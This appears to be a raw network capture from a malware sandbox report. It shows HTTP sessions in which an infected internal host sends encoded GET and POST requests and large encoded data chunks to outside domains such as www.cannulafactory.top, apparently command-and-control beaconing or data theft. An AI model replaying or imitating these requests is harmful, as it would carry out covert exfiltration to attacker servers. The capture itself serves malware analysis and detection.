Aug 27, 2024 08:04:35.244508028 CEST	12890	OUT	Data Raw: 52 64 43 30 67 43 76 4a 6e 33 2f 39 56 54 47 43 37 73 4c 6b 46 51 69 70 71 74 36 48 66 53 2f 42 30 67 68 7a 4e 50 67 4a 4f 64 78 36 36 72 74 42 50 6f 72 6b 45 4a 36 33 79 61 56 69 48 76 6a 50 43 76 4f 55 68 4d 5a 30 64 74 30 4f 59 79 79 2b 31 7a Data Ascii: RdC0gCvJn3/9VTGC7sLkFQipqt6HfS/B0ghzNPgJOdx66rtBPorkEJ63yaViHvjPCvOUhMZ0dt0OYyy+1zIytX4DO4tLsKPZEJ2yUJL3KcheJKpYoyz8EB7qR52/MMqYE/nHX+KR8e7ZdM9d4puXSnRojB/c73cAeKews1ZLdVN5Fw10dIpboWlb5S45n04l3nmKcYpZIj81gMMsNq9d1V7pZx5UWXy/QIYQKNqdnBYosKYW4aB
Aug 27, 2024 08:04:35.244853973 CEST	2578	OUT	Data Raw: 42 6e 2f 74 44 5a 67 79 49 42 4b 70 56 54 58 77 58 34 38 67 68 39 35 34 39 47 4a 68 63 61 31 31 61 75 41 43 6d 57 63 31 65 44 53 43 48 42 6c 34 47 52 58 64 55 65 76 45 76 2f 77 37 68 71 7a 76 71 58 79 6d 7a 58 30 4e 48 61 7a 35 4a 44 77 49 64 73 Data Ascii: Bn/tDZgyIBKpVTXwX48gh9549GJhca11auACmWc1eDSCHBl4GRXdUevEv/w7hqzvqXymzX0NHaz5JDwIdslf0RPfYFnpcM5ZvjHjJcpbXhwnWaQVFHEfUt44kGZib/o1xDNQliwtSQiRMKr8VGZ8OdQJi1By4tgoNPEsHGZJjsFrLVV2xHjAUQd3rT28bKbxtFJs52GPvm7SOLFwuxUielO6g4NKWDk0UR5a0uN6qNFogQ+iXYI
Aug 27, 2024 08:04:35.245032072 CEST	7734	OUT	Data Raw: 61 6b 75 58 78 50 35 43 77 74 66 5a 35 70 70 39 49 6f 32 35 49 6c 47 73 7a 38 44 6b 6c 39 63 69 45 48 50 57 47 79 33 4a 62 4a 78 69 69 71 33 74 34 2b 4b 35 76 77 7a 73 4f 30 52 31 45 6d 57 69 76 64 7a 43 74 63 56 50 6c 38 5a 45 6d 6a 64 4b 61 78 Data Ascii: akuXxP5CwtfZ5pp9Io25IlGsz8Dkl9ciEHPWGy3JbJxiiq3t4+K5vwzsO0R1EmWivdzCtcVPl8ZEmjdKaxkLNsfoRbPqupmEmNw9z9RAZskILlFJf6ZxfzvdNypyIKgHYV6SsOsLgzJ3q+eOh9/rm2dSFHuozlxwXSid/ASLxvw2SPhJjpmyByWZ1zWxrw8B1lqQzB3dfjgYcekAHpFXrle3pA4tGJ8f1E6EnSYSj/Pc7I5deED
Aug 27, 2024 08:04:35.410626888 CEST	2578	OUT	Data Raw: 4e 4c 34 4b 2b 59 4e 75 42 45 78 34 6b 71 7a 65 32 4e 35 58 51 2b 47 66 34 33 41 63 44 2b 58 44 53 42 74 4c 33 44 63 34 68 72 76 6b 53 6f 4a 34 56 62 78 4f 2b 50 34 39 38 64 4f 6e 70 30 49 58 69 76 35 63 6a 4e 66 75 43 71 4f 61 42 36 65 43 37 42 Data Ascii: NL4K+YNuBEx4kqze2N5XQ+Gf43AcD+XDSBtL3Dc4hrvkSoJ4VbxO+P498dOnp0IXiv5cjNfuCqOaB6eC7BZNYlsI7tLFP7AnBbfApireb6baH6DNwyKh2OsWnSIpIHoFmYeJg8lM60DtvDYYVIDs4NYgQ/d1U4e1aV3oCPB271+NIMixAWhjoVSytGpco2YN2Tfw1SSZtLSc+754Uoal7kHw062Yt0TgVB4n3TDdytgTmC6ixvM
Aug 27, 2024 08:04:35.410795927 CEST	9023	OUT	Data Raw: 6e 73 46 36 6c 49 49 2b 34 69 42 6a 6b 46 6b 44 4b 65 6f 55 51 59 53 6f 6a 51 48 44 59 67 63 58 68 45 33 55 6b 4a 46 37 79 4d 75 46 49 38 46 77 59 47 4d 53 6e 5a 75 76 66 32 2f 34 68 4e 77 36 74 7a 6b 67 63 32 32 4e 50 32 4e 53 72 54 4a 67 4a 35 Data Ascii: nsF6lII+4iBjkFkDKeoUQYSojQHDYgcXhE3UkJF7yMuFI8FwYGMSnZuvf2/4hNw6tzkgc22NP2NSrTJgJ5ZwLKsAp01NLnS6G8KjQuZZYXS6NHag5aB9LJHRe9Wb9aWtXchnD6lWbOLiX8Ar80TswD8jMbfKUI8klqTiCxRESnQDVZm3oIS5KUqtvsN6S5V0BokswtsNWqw3aU+/PdpVW1kOygrmObXtpZCh/ywjFPGQbRGAW+V
Aug 27, 2024 08:04:35.410962105 CEST	3280	OUT	Data Raw: 50 64 76 79 72 4f 6e 76 47 5a 53 6e 35 51 46 79 41 78 46 5a 45 66 62 67 71 56 4e 50 42 75 73 44 41 4a 6a 42 6c 52 53 62 2b 35 4e 31 44 2f 44 4c 2f 45 55 63 76 68 58 55 4d 4f 55 5a 42 70 73 77 57 42 75 67 57 76 42 6a 4f 70 52 67 53 41 57 58 70 38 Data Ascii: PdvyrOnvGZSn5QFyAxFZEfbgqVNPBusDAJjBlRSb+5N1D/DL/EUcvhXUMOUZBpswWBugWvBjOpRgSAWXp88Wwrl+sVApq2iIleG5QqX/IOpuLutFdFEOECltR9Fd/OTAsXwMkM2fip6k0vlQO8ns0CqHrAxPunh+hHk38OqmKL8f8EcQix3yTfdzlAeWDyUeLugGhRY19M56k+ke3WZgj5WDIe6TMa+owlcIWzyKO3K+v03dOTO
Aug 27, 2024 08:04:35.594274044 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 06:04:35 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Aug 27, 2024 08:04:35.594376087 CEST	1289	IN	Data Raw: 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c 61 79 65 72 31 22 3e 0a 20 20 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 67 36 32 31 39 22 0a 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 Data Ascii: 14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="display:inline;fill:#000000;fill-opacity:1;stroke:#000000

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.11.20	49919	203.161.46.205	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:37.776644945 CEST	546	OUT	GET /veti/?ij60MtY=CTwFRHkEL7GCscIqZBh2ghsqK7sG3QtVuFrIQG0IMtDLIws7wIuLhg5F5RICghophROLKQKALEwFGf2MtTv3MXBKvDNA89h+ifbsdhYGPDKJkkgMD8vmo5o=&wXB=brv4Erb HTTP/1.1 Host: www.bullbord.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:04:37.945152998 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 27 Aug 2024 06:04:37 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Aug 27, 2024 08:04:37.945256948 CEST	1289	IN	Data Raw: 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c 61 79 65 72 31 22 3e 0a 20 20 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 67 36 32 31 39 22 0a 20 Data Ascii: "translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="display:inline;fill:#000000;fill-opacity:1
Aug 27, 2024 08:04:37.945271015 CEST	1289	IN	Data Raw: 39 39 20 7a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 2e 32 Data Ascii: 99 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4496" d="m 85.115421,100.5729 c -0.00
Aug 27, 2024 08:04:37.945394039 CEST	1289	IN	Data Raw: 72 6f 6b 65 2d 77 69 64 74 68 3a 31 2e 30 30 31 35 37 34 37 35 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 34 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 Data Ascii: roke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path id="path4513" d="m 74.6875,125.03748 c -8.394789,7.68654 -16.790624,15.37405 -23.988969,22.38484 -7.198345,7.0108 -
Aug 27, 2024 08:04:37.945421934 CEST	1289	IN	Data Raw: 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 70 78 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e Data Ascii: ay:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4521" d="m 96.8125,126.22498 c 6.89586,6.45836 13.7917,12.9167 19.98957,19.14
Aug 27, 2024 08:04:37.945492029 CEST	1289	IN	Data Raw: 32 33 2e 36 36 32 34 38 20 63 20 36 2e 31 35 39 38 38 35 2c 31 31 2e 35 31 37 37 31 20 31 32 2e 33 31 39 39 36 2c 32 33 2e 30 33 35 37 37 20 31 36 2e 38 33 37 32 34 2c 33 31 2e 37 38 39 30 34 20 34 2e 35 31 37 32 38 2c 38 2e 37 35 33 32 37 20 37 Data Ascii: 23.66248 c 6.159885,11.51771 12.31996,23.03577 16.83724,31.78904 4.51728,8.75327 7.29964,14.54985 9.24424,18.32123 1.9446,3.77138 3.00519,5.42118 4.1838,9.19262 1.17861,3.77144 2.47477,9.6631 1.94443,23.80647 -0.53034,14.14338 -2.88706,36.5322
Aug 27, 2024 08:04:37.945604086 CEST	1289	IN	Data Raw: 34 31 32 34 38 32 2c 31 39 2e 34 34 35 38 35 20 31 2e 30 30 31 37 31 31 2c 33 36 2e 38 38 37 30 31 20 31 2e 35 39 30 39 39 39 2c 35 34 2e 33 32 39 39 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 Data Ascii: 412482,19.44585 1.001711,36.88701 1.590999,54.32995" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4545"
Aug 27, 2024 08:04:37.945635080 CEST	1289	IN	Data Raw: 36 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 34 32 2e 34 32 36 34 30 37 2c 31 35 35 2e 33 38 38 32 35 20 63 20 33 2e 34 31 38 34 2c 30 2e 38 32 35 31 33 20 36 2e 38 33 36 30 38 32 2c 31 2e 36 35 30 30 39 20 31 30 2e 36 30 36 39 Data Ascii: 6" d="m 42.426407,155.38825 c 3.4184,0.82513 6.836082,1.65009 10.606997,2.18034 3.770916,0.53024 7.89657,0.76599 11.608535,0.88382 3.711965,0.11782 7.012548,0.11782 10.429711,0.0589 3.417163,-0.0589 6.953769,-0.17681 10.606588,-0.
Aug 27, 2024 08:04:37.945831060 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 Data Ascii: id="path4614" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse
Aug 27, 2024 08:04:37.945844889 CEST	1289	IN	Data Raw: 30 2e 31 33 30 31 20 7a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 3a 23 30 30 30 30 30 30 3b 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3a 31 3b 66 69 6c 6c 2d 72 75 6c 65 3a 6e 6f 6e 7a Data Ascii: 0.1301 z" style="opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170
Aug 27, 2024 08:04:38.109497070 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 34 35 31 35 2c 2d 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 36 31 30 22 0a Data Ascii: transform="translate(-170.14515,-0.038164)" id="path4610" d="m 318,180.45184 c 0.66667,0 1.33434,0 1.501,0.16616 0.16667,0.16617 -0.16667,0.49951 0.001,0.66667 0.16767,0.16717 0.68771,0.16717 0.89053,0.3694

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.11.20	49920	18.183.3.45	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:43.390801907 CEST	832	OUT	POST /y82c/ HTTP/1.1 Host: www.cannulafactory.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cannulafactory.top Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.cannulafactory.top/y82c/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 68 4a 4b 35 59 31 70 36 7a 72 79 63 63 47 44 56 7a 70 4d 77 69 30 72 45 77 72 7a 51 49 6c 65 62 51 4c 5a 67 38 36 62 7a 2b 6d 77 6b 56 55 37 55 61 32 5a 4b 69 50 77 32 63 44 33 69 59 63 65 6d 55 2b 4a 48 43 31 35 47 68 44 37 57 44 4f 71 61 76 33 73 4f 42 35 39 66 77 68 51 36 6e 31 59 2b 4d 48 31 64 51 32 49 62 47 78 56 58 39 53 33 58 54 74 32 75 31 64 50 32 79 45 55 4d 4b 47 74 65 62 57 79 73 58 4c 69 72 7a 51 59 38 57 62 66 71 44 47 53 62 45 71 58 5a 76 71 49 6a 64 56 45 55 62 77 49 47 69 54 4d 7a 78 47 58 6e 63 2f 4d 72 41 6f 52 4b 78 56 54 69 33 37 56 4b 74 33 6d 4a 47 41 3d 3d Data Ascii: ij60MtY=hJK5Y1p6zryccGDVzpMwi0rEwrzQIlebQLZg86bz+mwkVU7Ua2ZKiPw2cD3iYcemU+JHC15GhD7WDOqav3sOB59fwhQ6n1Y+MH1dQ2IbGxVX9S3XTt2u1dP2yEUMKGtebWysXLirzQY8WbfqDGSbEqXZvqIjdVEUbwIGiTMzxGXnc/MrAoRKxVTi37VKt3mJGA==
Aug 27, 2024 08:04:43.652978897 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 27 Aug 2024 06:04:43 GMT Content-Type: text/html Content-Length: 3971 Connection: close ETag: "6526681e-f83" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /<![CDATA[/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #900; color: #fff; font-weight: normal; [TRUNCATED]
Aug 27, 2024 08:04:43.653136969 CEST	1289	IN	Data Raw: 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 35 Data Ascii: h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color: #900; font-size: 1.1em;
Aug 27, 2024 08:04:43.653151989 CEST	1289	IN	Data Raw: 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 33 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 57 65 62 73 69 74 65 20 41 Data Ascii: is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="content"> <p>Something has triggered missing webpage on your website. This
Aug 27, 2024 08:04:43.653176069 CEST	277	IN	Data Raw: 3d 22 33 32 22 20 2f 3e 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 65 64 68 61 74 2e 63 6f 6d 2f 22 3e 3c 69 6d 67 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: ="32" /></a> <a href="http://www.redhat.com/"><img src="poweredby.png" alt="[ Powered by Red Hat Enterprise Linux ]" width="88" height="31" /></a> </div>

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.11.20	49921	18.183.3.45	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:04:46.186429977 CEST	1172	OUT	POST /y82c/ HTTP/1.1 Host: www.cannulafactory.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.cannulafactory.top Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.cannulafactory.top/y82c/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 68 4a 4b 35 59 31 70 36 7a 72 79 63 63 6d 54 56 78 49 4d 77 79 6b 72 44 31 72 7a 51 47 46 65 66 51 4c 6c 67 38 2f 69 6f 2b 7a 41 6b 56 32 7a 55 62 30 78 4b 6c 50 77 32 54 6a 33 6e 56 38 65 62 55 2b 31 50 43 30 46 47 68 48 62 57 4e 63 69 61 6e 6e 73 50 56 70 39 63 78 68 51 42 74 56 59 4b 4d 48 4a 33 51 7a 67 62 47 42 35 58 38 51 76 58 46 73 32 76 78 39 50 76 6d 30 55 4e 42 6d 74 51 62 57 75 6b 58 4a 79 52 30 6c 59 38 56 36 2f 71 43 47 53 63 4b 61 57 54 74 71 4a 55 53 56 46 45 55 79 68 30 76 51 6f 7a 78 31 58 2f 58 59 34 35 43 59 31 6c 78 58 72 6e 2b 34 38 46 72 32 6a 31 5a 45 6f 2f 34 4e 53 4a 7a 5a 6f 6a 55 4f 4a 4b 41 32 37 48 71 73 4b 77 43 68 57 37 61 35 7a 66 70 43 51 57 57 5a 51 4a 37 6d 50 68 45 71 41 6c 34 55 6f 61 59 79 64 47 78 55 42 70 44 57 43 4d 66 50 57 73 31 50 6a 71 34 44 6c 36 45 55 76 37 61 32 53 6f 51 54 57 78 74 31 47 46 68 6b 4e 42 68 76 5a 75 74 34 77 38 2b 54 47 6c 73 43 4c 4b 4e 65 4d 49 6f 54 68 6a 6a 4b 70 49 51 4d 6b 33 34 45 6a 41 49 63 6a 38 51 34 [TRUNCATED] Data Ascii: ij60MtY=hJK5Y1p6zryccmTVxIMwykrD1rzQGFefQLlg8/io+zAkV2zUb0xKlPw2Tj3nV8ebU+1PC0FGhHbWNciannsPVp9cxhQBtVYKMHJ3QzgbGB5X8QvXFs2vx9Pvm0UNBmtQbWukXJyR0lY8V6/qCGScKaWTtqJUSVFEUyh0vQozx1X/XY45CY1lxXrn+48Fr2j1ZEo/4NSJzZojUOJKA27HqsKwChW7a5zfpCQWWZQJ7mPhEqAl4UoaYydGxUBpDWCMfPWs1Pjq4Dl6EUv7a2SoQTWxt1GFhkNBhvZut4w8+TGlsCLKNeMIoThjjKpIQMk34EjAIcj8Q4rLNuxR1ZHIqmBnjOEnlc34PhCAX/3LG+5CaDhizVapOaanydqTQS2IudCG8wFjjOIBvtkq06Z4BMSh5KoEaieod+mVmSfw1vehpojlP0ZPrQQWQKrLOKefP7AQZShDhi1MKzpoov7g8CYUD301lnmGjgpILdtNVY1qqVfPYLbU2f9v2+BvVPOnWCM9BsSYkgfg7yymfB8raCU=
Aug 27, 2024 08:04:46.449707031 CEST	1289	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 27 Aug 2024 06:04:46 GMT Content-Type: text/html Content-Length: 3971 Connection: close ETag: "6526681e-f83" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 